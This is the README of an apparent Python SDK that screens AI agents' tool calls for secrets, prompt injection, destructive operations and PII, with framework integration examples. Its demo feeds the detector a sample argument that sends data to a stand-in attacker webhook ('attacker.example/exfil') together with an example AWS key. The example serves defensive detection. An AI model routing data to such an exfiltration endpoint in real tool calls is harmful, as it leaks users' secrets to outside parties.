axiorank 0.13.0

Official Python SDK for AxioRank. Zero-Trust for AI agents: route every tool call through one governed control plane.

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Catch leaked secrets, prompt injection, destructive commands, and PII in your AI agent's tool calls. This runs the same detection engine the hosted AxioRank gateway runs, in-process, with no API key and no signup.

Parity with the TypeScript @axiorank/sdk.

Install

pip install axiorank

Try it first (no API key)

See what AxioRank catches before you sign up. No key, no network:

python -m axiorank demo

In code, inspect() returns an advisory verdict (the default posture: deny on a live secret, a destructive operation, or risk at or above 75):

from axiorank import inspect

r = inspect("aws.s3.putObject", {
    "body": "AKIAIOSFODNN7EXAMPLE",
    "webhook": "http://attacker.example/exfil",
})
print(r.decision, r.risk)  # "deny" 96
print([s.detector for s in r.signals])  # ["secret.aws_access_key", ...]

inspect_text(tool, text) does the same for a tool's output, catching indirect prompt injection before your agent ingests it.

Enforce centrally

inspect() shows what is risky locally. To enforce it with your own policy, an audit trail, approvals, and kill-chain correlation, create a free key at axiorank.com and route calls through the gateway.

Quickstart (sync)

import os
from axiorank import AxioRank

axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"])  # looks like axr_live_...

# Get the decision and act on it yourself:
result = axio.tool_call("github.push", {"repo": "myrepo"})
if result.decision == "deny":
    print(f"Blocked: {result.reason} (risk {result.risk})")
else:
    ...  # proceed with the real tool call

enforce(): guard in one line

from axiorank import AxioRank, AxioRankDeniedError

axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"])

try:
    axio.enforce("aws.delete_bucket", {"name": "prod-data"})
    delete_bucket("prod-data")  # only runs if AxioRank allowed it
except AxioRankDeniedError as e:
    log.warning("AxioRank blocked the call: %s", e.result.reason)

A require_approval policy holds the call for a human; tool_call/enforce transparently wait out the hold and resolve to the final allow/deny.

Quickstart (async)

import os
from axiorank import AsyncAxioRank

async def main():
    async with AsyncAxioRank(api_key=os.environ["AXIORANK_API_KEY"]) as axio:
        result = await axio.tool_call("stripe.refund", {"amount": 5000})
        print(result.decision, result.risk)

Preflight an external server before trusting it

result = axio.verify_card(url="https://mcp.acme.com")
print(result.decision, result.identity.signature_valid, result.protocol)

# Or guard in one line; raises AxioRankCardDeniedError on `deny`:
axio.enforce_card(url="https://mcp.acme.com")

Anthropic Messages API

The Anthropic SDK doesn't run your tools; your loop does. Guard the dispatch step and send back the tool_result dicts it returns. Defaults to on_deny="return"; the adapter never imports anthropic itself.

import anthropic
from axiorank import AxioRank
from axiorank.integrations.anthropic import guard_tool_handlers

client = anthropic.Anthropic()
axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"])
dispatch = guard_tool_handlers({"deploy": lambda i: deploy(i["service"])}, axio)

msg = client.messages.create(model="claude-opus-4-8", tools=tools, messages=messages)
results = [dispatch(b) for b in msg.content if b.type == "tool_use"]
# send `results` back as the next user message

Async client? Use guard_tool_handlers_async (or guard_tool_use / guard_tool_use_async to guard a single block).

LangChain

pip install "axiorank[langchain]"

from axiorank import AxioRank
from axiorank.integrations.langchain import AxioRankCallbackHandler

axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"])

# Every tool the agent runs is checked against your policies first; a blocked
# tool raises and the step fails.
agent_executor.invoke(
    {"input": "..."},
    config={"callbacks": [AxioRankCallbackHandler(axio)]},
)

Prefer a model-readable refusal over a raised exception? Wrap individual tools:

from axiorank.integrations.langchain import guard_tool

safe_tool = guard_tool(my_tool, axio, on_deny="return")

LlamaIndex

pip install "axiorank[llamaindex]"

from axiorank.integrations.llamaindex import guard_tool

# Wrap any FunctionTool: its arguments are scored before it runs, and the
# schema, name, and description are preserved, so it is a drop-in replacement.
safe_tool = guard_tool(my_tool, axio)                      # raises on deny
recoverable = guard_tool(my_tool, axio, on_deny="return")  # model-readable refusal

Pydantic AI

pip install "axiorank[pydantic-ai]"

from axiorank.integrations.pydantic_ai import guard_tool

# Wrap a Tool; its name, description, and signature (schema) are preserved.
safe_tool = guard_tool(my_tool, axio)                       # sync tool
safe_async = guard_tool(my_tool, async_client=axio_async)   # async tool

OpenAI Agents (Python)

pip install "axiorank[openai-agents]"

from axiorank import AsyncAxioRank
from axiorank.integrations.openai_agents import guard_tool

axio = AsyncAxioRank(api_key=os.environ["AXIORANK_API_KEY"])

# The SDK runs tools async; a deny returns a refusal the model can re-plan around.
safe_tool = guard_tool(my_function_tool, axio, on_deny="return")

Configuration

Argument	Default	Notes
api_key	- (required)	Your agent's key (axr_live_...).
base_url	https://app.axiorank.com	Point at your own deployment.
timeout	10.0	Per-request timeout, in seconds.
approval_timeout	300.0	Max wait for a human to resolve a hold, seconds.
client	a fresh httpx.Client	Inject your own httpx client (tests, proxies).

License

MIT